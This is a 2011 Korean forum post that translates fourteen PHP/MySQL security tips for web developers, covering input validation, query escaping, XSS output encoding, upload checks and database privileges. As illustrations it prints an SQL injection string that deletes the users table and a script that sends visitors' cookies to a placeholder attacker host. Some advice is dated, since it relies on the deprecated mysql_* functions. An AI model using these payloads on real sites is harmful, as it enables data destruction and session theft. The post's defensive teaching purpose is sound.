위치 : 메인 » 자유게시판 » 일반 » (298)번글 :: 보안적 요소

추천:0 조회:15718 IP:61.xxx.94
작성자
멋쟁이냐 mail
작성일
2011-08-26 (금) 08:50
홈페이지
http://www.sabjil.wo.tc
분 류
일반
  • 현재(298번)글 본문 보기
  • 댓글보기(1+0)
크게 작게

title보안적 요소

검색단어 찾기 :

알고는 있지만, 실제 개발하면서 종종 잊고 넘어가거나 귀찮아서 소홀히 하게되는 내용들이다. 이런식의 코딩 습관을 들이는 것이 좋겠지만, 그 전까지는 이렇게 리스팅을 해 놓고, 매번 체크해보는 수밖엔...ㅎㅎ

1. 유저의 입력값을 믿지 마라....
고의로 혹은 실수로 개발자를 골때리게 하는 유저가 종종 있다. 이름에 부호를 포함시킨다던지, 숫자만 입력되어야 할 곳에 문자를 입력한다던지.... 다소 귀찮긴 하더라도, 입력값이 개발시의 의도했던 형태에 맞도록 화면상이나 쿼리 실행 전에 처리해 주는 것이 에러를 막을 수 있는 방법이다. 엉뚱한 값이 입력되서 에러를 발생시키는 것 보다는 아예 프로세스가 진행되지 않도록 하는게 낫다.

예)

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

위의 코드처럼 숫자만 들어와야 하는 변수의 경우에 intval() 함수로 처리해 줌으로서 만일 숫자 외의 값이 들어왔을 경우에도 자동으로 int형태의 값으로 바뀌기 때문에 쿼리에서 에러가 발생하지 않는다.

2. 자바스크립트로 입력값의 유효성검사를 실시했다고 하더라도, 서버단에서 한번 더 해주는 것이 좋다. 유저의 환경이나 설정에 의해 자바스크립트가 실행되지 않을 수도 있기 때문이다.

3. 유저의 입력값을 SQL query에 바로 입력하지 마라.

function escape($values) {
if(is_array($values)) {
$values = array_map('escape', $values);
} else {
/* Quote if not integer */
if ( !is_numeric($values) || $values{0} == '0' ) {
$values = "'" .mysql_real_escape_string($values) . "'";
}
}
return $values;
}

위 함수를 사용해서 쿼리시에 아래처럼 실행하기를 추천!!
$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username");
4. 쿼리에 integer를 입력할 때 따옴표를 사용하지 마라.
아래는 인젝션에 흔히 사용되는 방식 중 하나이다.

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // mysql_real_escape_string ';' 를 없애지 못한다
mysql_query("SELECT * FROM users WHERE id='$id'");

intval()을 사용함으로서 이 문제를 해결할 수도 있다.

5. 출력시에도 항상 htmlspecialchars()를 사용하자.
XSS(Cross Site Scripting) 공격을 막기 위한 방법이다.

<script>alert('');</script>

위처럼 개발자가 원치 않는 동작을 하게 만들 수도 있지만, 아래코드가 실행된다면 문제는 심각해질 수 있다.

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

이런식으로 사용자의 쿠키정보를 공격자에게 고스란히 넘겨줄 수도 있는 것이다.

6. 파일 업로드시에 파일의 MIME type을 체크하라.

$valid_extensions = array('jpg', 'gif', 'png'); // ...

$file_name = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext = $_file_name[ count($_file_name) - 1 ];

if( !in_array($ext, $valid_extensions) ) {
/* This file is invalid */
}

이런식으로 업로드할 수 있는 파일 형태를 지정해 주는 것이 좋다.

서버설정으로 *.php처럼 특정 확장자의 파일에서만 코드를 실행하도록 하고, 해당 확장자의 파일 업로드를 제한하는 방법도 있다.

7. Smarty나 ADODB같은 외부 라이브러리를 사용하는 경우에는 항상 업데이트를 확인해서 최신버전을 설치해 주도록 하자.

8. 데이터베이스 유저에게는 필요한 권한만 주도록 한다.

웹 유저에게 drop table 같은 권한을 주는게 얼마나 위험한지는 뭐 따로 설명이 필요없을 듯. 예전에 멋 모를 때는 관리자 계정으로 접속하게 했던 적도 있었다...ㅜㅜ

9. 로컬호스트 외의 다른 IP로부터의 데이터베이스 접근은 허용하지 않는다. 외부 접속이 필요한 경우에 해당 아이피만 추가해 주면 된다.

10. 라이브러리 파일은 php파일로 만들자.

.inc파일은 일반문서 파일처럼 코드가 브라우저상에 보여질 수 있다. 굳이 쓰고 싶다면 config.inc.php 와 같은 식으로 만들면 된다.

11. register globals를 off로 설정하고, 변수는 항상 선언 후에 사용하는 것이 좋다.

if( user_logged_in() ) {
$auth = true;
}

if( $auth ) {
/* Do some admin stuff */
}

위와 같은 코드가 있을 경우

http://yourwebsite.com/admin.php?auth=1

이런 방식의 공격에 당할 수 있다.

상단에 $auth = false; 이렇게 변수 선언만 해 주어도 이런 방식의 공격은 막을 수 있다.

12. PHP도 최신 버전을 유지할 수 있도록 하자.

www.php.net 사이트에 들어가보면 매 버전마다 많은 보안 이슈들이 수정되고 있다는 걸 알 수 있을 것이다.

13. 보안 자료를 읽자. 관련 도서나 뉴스나, 최신 소식을 놓치지 않는 것도 중요하다.

14. 더 좋은 자료들은 서로 공유합시다!!^^

원문 : http://codingrecipes.com/php-mysql-web-development-security-tips-14-tips-you-should-know-when-developing-with-php-and-mysql

  • 현재(298번)글 본문 보기
  • 댓글보기(1+0)
no photo

이름아이콘 늑대소냐

2011-09-03 21:09

좋은  정보 얻어 갑니다..
꾸벅~~
아!!  그리고 치우 많이크고
아우~~
너무 귀여워요..ㅋㅋㅋ
  • 0
    3500
FILE #1 .
FILE #2 .
FILE #3 .
FILE #4 .
FILE #5 .
FILE #6 .
FILE #7 .
FILE #8 .
FILE #9 .
FILE #10 .

  다중선택옵션 번호 이름 글제목 photo 파일 날짜 조회
7 2in 선생님, 감사하고 있습니다 2 2012/01/07 12758
6 name icon 리얼리 에고 죄송합니다. 5+1 2011/11/16 5
5 name icon 리얼리 통합 검색에서요.... 5+2 2011/11/15 7
4 멋쟁이냐 보안적 요소 1 2011/08/26 15718
3 멋쟁이냐 [css]개인자료 lock 2011/03/11 2
2 ll니캉내캉ll 또 왔습니다~~~~ (^^)* 1 2010/06/24 11
1 관리자 CSS로 이미지 정렬하기 1 2009/12/11 28136
  1. page:1/1
  2. 1

sabjilmode@sabjil.wo.tc

© 2010 Sabjil